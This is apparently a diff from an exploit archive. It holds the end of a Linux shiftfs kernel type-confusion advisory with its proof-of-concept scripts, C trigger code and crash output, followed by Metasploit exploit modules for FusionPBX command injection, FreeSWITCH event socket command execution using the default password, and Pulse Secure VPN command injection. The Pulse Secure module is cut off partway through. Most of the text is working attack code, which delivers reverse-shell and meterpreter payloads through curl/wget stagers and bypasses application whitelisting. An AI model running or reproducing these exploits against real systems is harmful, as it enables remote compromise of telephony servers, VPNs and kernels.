lowerfd->file = realfile;
|
||||||
|
|
||||||
|
/* Did the flags change since open? */
|
||||||
|
if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
|
||||||
|
return shiftfs_change_flags(lowerfd->file, file->f_flags);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
file->private_data is a void* that points to a filesystem-dependent type; and
|
||||||
|
some filesystems even use it to store a type-cast number instead of a pointer.
|
||||||
|
The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast.
|
||||||
|
|
||||||
|
As a PoC, here I'm causing a type confusion between struct shiftfs_file_info
|
||||||
|
(with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at
|
||||||
|
offset 0x10), and I use that to cause a memory dereference somewhere around
|
||||||
|
0x4242:
|
||||||
|
|
||||||
|
|
||||||
|
=======================================
|
||||||
|
user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh
|
||||||
|
#!/bin/sh
|
||||||
|
sync
|
||||||
|
unshare -mUr ./run2.sh
|
||||||
|
user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh
|
||||||
|
#!/bin/sh
|
||||||
|
set -e
|
||||||
|
|
||||||
|
mkdir -p mnt/tmpfs
|
||||||
|
mkdir -p mnt/shiftfs
|
||||||
|
mount -t tmpfs none mnt/tmpfs
|
||||||
|
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
|
||||||
|
mount|grep shift
|
||||||
|
gcc -o ioctl ioctl.c -Wall
|
||||||
|
./ioctl
|
||||||
|
user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <err.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <linux/btrfs.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
// make our vmacache sequence number something like 0x4242
|
||||||
|
for (int i=0; i<0x4242; i++) {
|
||||||
|
void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ,
|
||||||
|
MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
|
||||||
|
if (x == MAP_FAILED) err(1, "mmap vmacache seqnum");
|
||||||
|
munmap(x, 0x1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
int root = open("mnt/shiftfs", O_RDONLY);
|
||||||
|
if (root == -1) err(1, "open shiftfs root");
|
||||||
|
int foofd = open("/proc/self/environ", O_RDONLY);
|
||||||
|
if (foofd == -1) err(1, "open foofd");
|
||||||
|
// trigger the confusion
|
||||||
|
struct btrfs_ioctl_vol_args iocarg = {
|
||||||
|
.fd = foofd
|
||||||
|
};
|
||||||
|
ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
|
||||||
|
}
|
||||||
|
user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh
|
||||||
|
none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
|
||||||
|
/home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
|
||||||
|
[ 348.103005] BUG: unable to handle page fault for address: 0000000000004289
|
||||||
|
[ 348.105060] #PF: supervisor read access in kernel mode
|
||||||
|
[ 348.106573] #PF: error_code(0x0000) - not-present page
|
||||||
|
[ 348.108102] PGD 0 P4D 0
|
||||||
|
[ 348.108871] Oops: 0000 [#1] SMP PTI
|
||||||
|
[ 348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
|
||||||
|
[ 348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
|
||||||
|
[ 348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
|
||||||
|
[ 348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
|
||||||
|
[ 348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
|
||||||
|
[ 348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
|
||||||
|
[ 348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
|
||||||
|
[ 348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
|
||||||
|
[ 348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
|
||||||
|
[ 348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
|
||||||
|
[ 348.133421] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
|
||||||
|
[ 348.135753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||||
|
[ 348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
|
||||||
|
[ 348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||||
|
[ 348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||||
|
[ 348.143545] Call Trace:
|
||||||
|
[ 348.144272] shiftfs_ioctl+0x65/0x76 [shiftfs]
|
||||||
|
[ 348.145562] do_vfs_ioctl+0x407/0x670
|
||||||
|
[ 348.146620] ? putname+0x4a/0x50
|
||||||
|
[ 348.147556] ksys_ioctl+0x67/0x90
|
||||||
|
[ 348.148514] __x64_sys_ioctl+0x1a/0x20
|
||||||
|
[ 348.149593] do_syscall_64+0x5a/0x130
|
||||||
|
[ 348.150658] entry_SYSCALL_64_after_hwframe+0x44/0xa9
|
||||||
|
[ 348.152108] RIP: 0033:0x7f77fa76767b
|
||||||
|
[ 348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48
|
||||||
|
[ 348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010
|
||||||
|
[ 348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b
|
||||||
|
[ 348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003
|
||||||
|
[ 348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000
|
||||||
|
[ 348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100
|
||||||
|
[ 348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000
|
||||||
|
[ 348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk
|
||||||
|
[ 348.188617] CR2: 0000000000004289
|
||||||
|
[ 348.189586] ---[ end trace dad859a1db86d660 ]---
|
||||||
|
[ 348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
|
||||||
|
[ 348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
|
||||||
|
[ 348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
|
||||||
|
[ 348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
|
||||||
|
[ 348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
|
||||||
|
[ 348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
|
||||||
|
[ 348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
|
||||||
|
[ 348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
|
||||||
|
[ 348.210395] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
|
||||||
|
[ 348.212710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||||
|
[ 348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
|
||||||
|
[ 348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||||
|
[ 348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||||
|
Killed
|
||||||
|
user@ubuntu1910vm:~/shiftfs_confuse$
|
||||||
|
=======================================
|
164
exploits/multiple/remote/47697.rb
Executable file
164
exploits/multiple/remote/47697.rb
Executable file
|
@ -0,0 +1,164 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'FusionPBX Operator Panel exec.php Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an authenticated command injection vulnerability
|
||||||
|
in FusionPBX versions 4.4.3 and prior.
|
||||||
|
|
||||||
|
The `exec.php` file within the Operator Panel permits users with
|
||||||
|
`operator_panel_view` permissions, or administrator permissions,
|
||||||
|
to execute arbitrary commands as the web server user by sending
|
||||||
|
a `system` command to the FreeSWITCH event socket interface.
|
||||||
|
|
||||||
|
This module has been tested successfully on FusionPBX version
|
||||||
|
4.4.1 on Ubuntu 19.04 (x64).
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Dustin Cobb', # Discovery and exploit
|
||||||
|
'bcoles' # Metasploit
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2019-11409'],
|
||||||
|
['EDB', '46985'],
|
||||||
|
['URL', 'https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html'],
|
||||||
|
['URL', 'https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611']
|
||||||
|
],
|
||||||
|
'Platform' => %w[unix linux],
|
||||||
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||||
|
'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
|
||||||
|
'CmdStagerFlavor' => %w[curl wget],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Automatic (Unix In-Memory)',
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
|
||||||
|
'Type' => :unix_memory
|
||||||
|
],
|
||||||
|
['Automatic (Linux Dropper)',
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
|
||||||
|
'Type' => :linux_dropper
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },
|
||||||
|
'DisclosureDate' => '2019-06-06',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
register_options [
|
||||||
|
OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
|
||||||
|
OptString.new('USERNAME', [true, 'The username for FusionPBX']),
|
||||||
|
OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
def login(user, pass)
|
||||||
|
vprint_status "Authenticating as user '#{user}'"
|
||||||
|
|
||||||
|
vars_post = {
|
||||||
|
username: user,
|
||||||
|
password: pass,
|
||||||
|
path: ''
|
||||||
|
}
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
|
||||||
|
'vars_post' => vars_post
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with Failure::Unreachable, 'Connection failed'
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.code == 302 && res.headers['location'].include?('login.php')
|
||||||
|
fail_with Failure::NoAccess, "Login failed for user '#{user}'"
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res.code == 200
|
||||||
|
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
|
||||||
|
end
|
||||||
|
|
||||||
|
cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first
|
||||||
|
|
||||||
|
unless cookie
|
||||||
|
fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good "Authenticated as user '#{user}'"
|
||||||
|
|
||||||
|
cookie
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path)
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
vprint_error 'Connection failed'
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.body.include?('FusionPBX')
|
||||||
|
return CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
|
CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts = {})
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'app/operator_panel/exec.php'),
|
||||||
|
'cookie' => "PHPSESSID=#{@cookie}",
|
||||||
|
'vars_get' => {'cmd' => "bg_system #{cmd}"}
|
||||||
|
}, 5)
|
||||||
|
|
||||||
|
unless res
|
||||||
|
return if session_created?
|
||||||
|
fail_with Failure::Unreachable, 'Connection failed'
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res.code == 200
|
||||||
|
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.body.include? 'access denied'
|
||||||
|
fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to access the Operator Panel"
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless check == CheckCode::Detected
|
||||||
|
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
|
||||||
|
end
|
||||||
|
|
||||||
|
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
|
|
||||||
|
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
|
||||||
|
|
||||||
|
case target['Type']
|
||||||
|
when :unix_memory
|
||||||
|
execute_command(payload.encoded)
|
||||||
|
when :linux_dropper
|
||||||
|
execute_cmdstager(:linemax => 1_500)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
169
exploits/multiple/remote/47698.rb
Executable file
169
exploits/multiple/remote/47698.rb
Executable file
|
@ -0,0 +1,169 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'FreeSWITCH Event Socket Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module uses the FreeSWITCH event socket interface
|
||||||
|
to execute system commands using the `system` API command.
|
||||||
|
|
||||||
|
The event socket service is enabled by default and listens
|
||||||
|
on TCP port 8021 on the local network interface.
|
||||||
|
|
||||||
|
This module has been tested successfully on FreeSWITCH versions:
|
||||||
|
|
||||||
|
1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine;
|
||||||
|
1.8.4~64bit on Ubuntu 19.04 (x64); and
|
||||||
|
1.10.1~64bit on Windows 7 SP1 (EN) (x64).
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => ['bcoles'],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CWE', '260'], # default password, configurable in event_socket.conf.xml
|
||||||
|
['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket']
|
||||||
|
],
|
||||||
|
'Platform' => %w[win linux unix bsd],
|
||||||
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||||
|
'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
|
||||||
|
'CmdStagerFlavor' => %w[curl wget certutil vbs],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Unix (In-Memory)',
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
|
||||||
|
'Type' => :unix_memory
|
||||||
|
],
|
||||||
|
['Linux (Dropper)',
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
|
||||||
|
'Type' => :linux_dropper
|
||||||
|
],
|
||||||
|
['PowerShell (In-Memory)',
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
|
||||||
|
'Type' => :psh_memory
|
||||||
|
],
|
||||||
|
['Windows (In-Memory)',
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/reverse_powershell'},
|
||||||
|
'Type' => :win_memory
|
||||||
|
],
|
||||||
|
['Windows (Dropper)',
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
|
||||||
|
'Type' => :win_dropper
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DefaultOptions' => { 'RPORT' => 8021 },
|
||||||
|
'DisclosureDate' => '2019-11-03',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
register_options [
|
||||||
|
OptString.new('PASSWORD', [true, 'FreeSWITCH event socket password', 'ClueCon'])
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
connect
|
||||||
|
banner = sock.get_once.to_s
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
|
||||||
|
vprint_error 'Access denied by network ACL'
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
unless banner.include?('Content-Type: auth/request')
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
def auth(password)
|
||||||
|
sock.put "auth #{password}\n\n"
|
||||||
|
res = sock.get_once.to_s
|
||||||
|
|
||||||
|
unless res.include? 'Content-Type: command/reply'
|
||||||
|
fail_with Failure::UnexpectedReply, 'Unexpected reply'
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res.include?('Reply-Text: +OK accepted')
|
||||||
|
fail_with Failure::NoAccess, 'Login failed'
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status 'Login success'
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts = {})
|
||||||
|
api_function = opts[:foreground] ? 'system' : 'bg_system'
|
||||||
|
|
||||||
|
sock.put "api #{api_function} #{cmd}\n\n"
|
||||||
|
res = sock.get_once.to_s
|
||||||
|
|
||||||
|
unless res.include? 'Content-Type: api/response'
|
||||||
|
fail_with Failure::UnexpectedReply, 'Unexpected reply'
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status "Response: #{res}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless check == CheckCode::Appears
|
||||||
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||||
|
end
|
||||||
|
|
||||||
|
connect
|
||||||
|
banner = sock.get_once.to_s
|
||||||
|
|
||||||
|
auth(datastore['PASSWORD'])
|
||||||
|
|
||||||
|
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
|
||||||
|
|
||||||
|
case target['Type']
|
||||||
|
when :unix_memory
|
||||||
|
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||||
|
execute_command(payload.encoded, foreground: true)
|
||||||
|
else
|
||||||
|
execute_command(payload.encoded)
|
||||||
|
end
|
||||||
|
when :win_memory
|
||||||
|
if datastore['PAYLOAD'] == 'cmd/windows/generic'
|
||||||
|
execute_command(payload.encoded, foreground: true)
|
||||||
|
else
|
||||||
|
execute_command(payload.encoded)
|
||||||
|
end
|
||||||
|
when :psh_memory
|
||||||
|
execute_command(
|
||||||
|
cmd_psh_payload(
|
||||||
|
payload.encoded,
|
||||||
|
payload_instance.arch.first,
|
||||||
|
{ :remove_comspec => true, :encode_final_payload => true }
|
||||||
|
)
|
||||||
|
)
|
||||||
|
when :linux_dropper
|
||||||
|
execute_cmdstager(:linemax => 1_500)
|
||||||
|
when :win_dropper
|
||||||
|
execute_cmdstager(:linemax => 1_500)
|
||||||
|
end
|
||||||
|
ensure
|
||||||
|
disconnect unless sock.nil?
|
||||||
|
end
|
||||||
|
end
|
178
exploits/multiple/remote/47700.rb
Executable file
178
exploits/multiple/remote/47700.rb
Executable file
|
@ -0,0 +1,178 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Pulse Secure VPN Arbitrary Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a post-auth command injection in the Pulse Secure
|
||||||
|
VPN server to execute commands as root. The env(1) command is used to
|
||||||
|
bypass application whitelisting and run arbitrary commands.
|
||||||
|
|
||||||
|
Please see related module auxiliary/gather/pulse_secure_file_disclosure
|
||||||
|
for a pre-auth file read that is able to obtain plaintext and hashed
|
||||||
|
credentials, plus session IDs that may be used with this exploit.
|
||||||
|
|
||||||
|
A valid administrator session ID is required in lieu of untested SSRF.
|
||||||
|
},
|
||||||
|
'Author' => [
|
||||||
|
'Orange Tsai', # Discovery (@orange_8361)
|
||||||
|
'Meh Chang', # Discovery (@mehqq_)
|
||||||
|
'wvu' # Module
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2019-11539'],
|
||||||
|
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],
|
||||||
|
['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],
|
||||||
|
['URL', 'https://hackerone.com/reports/591295']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => '2019-04-24', # Public disclosure
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['unix', 'linux'],
|
||||||
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||||
|
'Privileged' => true,
|
||||||
|
'Targets' => [
|
||||||
|
['Unix In-Memory',
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Type' => :unix_memory,
|
||||||
|
'Payload' => {
|
||||||
|
'BadChars' => %Q(&*(){}[]`;|?\n~<>"'),
|
||||||
|
'Encoder' => 'generic/none' # Force manual badchar analysis
|
||||||
|
},
|
||||||
|
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
|
||||||
|
],
|
||||||
|
['Linux Dropper',
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'Type' => :linux_dropper,
|
||||||
|
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 1,
|
||||||
|
'DefaultOptions' => {
|
||||||
|
'RPORT' => 443,
|
||||||
|
'SSL' => true,
|
||||||
|
'CMDSTAGER::SSL' => true
|
||||||
|
},
|
||||||
|
'Notes' => {
|
||||||
|
'Stability' => [CRASH_SAFE],
|
||||||
|
'Reliability' => [REPEATABLE_SESSION],
|
||||||
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
|
||||||
|
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
|
||||||
|
}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('SID', [true, 'Valid admin session ID'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def post_auth?
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
get_csrf_token
|
||||||
|
|
||||||
|
print_status("Executing #{target.name} target")
|
||||||
|
|
||||||
|
case target['Type']
|
||||||
|
when :unix_memory
|
||||||
|
execute_command(payload.encoded)
|
||||||
|
when :linux_dropper
|
||||||
|
execute_cmdstager(
|
||||||
|
flavor: :curl,
|
||||||
|
noconcat: true
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_csrf_token
|
||||||
|
@cookie = "DSID=#{datastore['SID']}"
|
||||||
|
print_good("Setting session cookie: #{@cookie}")
|
||||||
|
|
||||||
|
print_status('Obtaining CSRF token')
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => diag_cgi,
|
||||||
|
'cookie' => @cookie
|
||||||
|
)
|
||||||
|
|
||||||
|
unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body))
|
||||||
|
fail_with(Failure::NoAccess, 'Session cookie expired or invalid')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("CSRF token: #{@csrf_token}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_csrf_token(body)
|
||||||
|
body.to_s.scan(/xsauth=([[:xdigit:]]+)/).flatten.first
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, _opts = {})
|
||||||
|
# Prepend absolute path to curl(1), since it's not in $PATH
|
||||||
|
cmd.prepend('/home/bin/') if cmd.start_with?('curl')
|
||||||
|
|
||||||
|
# Bypass application whitelisting with permitted env(1)
|
||||||
|
cmd.prepend('env ')
|
||||||
|
|
||||||
|
vprint_status("Executing command: #{cmd}")
|
||||||
|
print_status("Yeeting exploit at #{full_uri(diag_cgi)}")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => diag_cgi,
|
||||||
|
'cookie' => @cookie,
|
||||||
|
'vars_get' => {
|
||||||
|
'a' => 'td', # tcpdump
|
||||||
|
'options' => sploit(cmd),
|
||||||
|
'xsauth' => @csrf_token,
|
||||||
|
'toggle' => 'Start Sniffing'
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
unless res && res.code == 200
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Could not yeet exploit')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Triggering payload at #{full_uri(setcookie_cgi)}")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => setcookie_cgi
|
||||||
|
}, 3.1337)
|
||||||
|
|
||||||
|
# 200 response code, yet 500 error in body
|
||||||
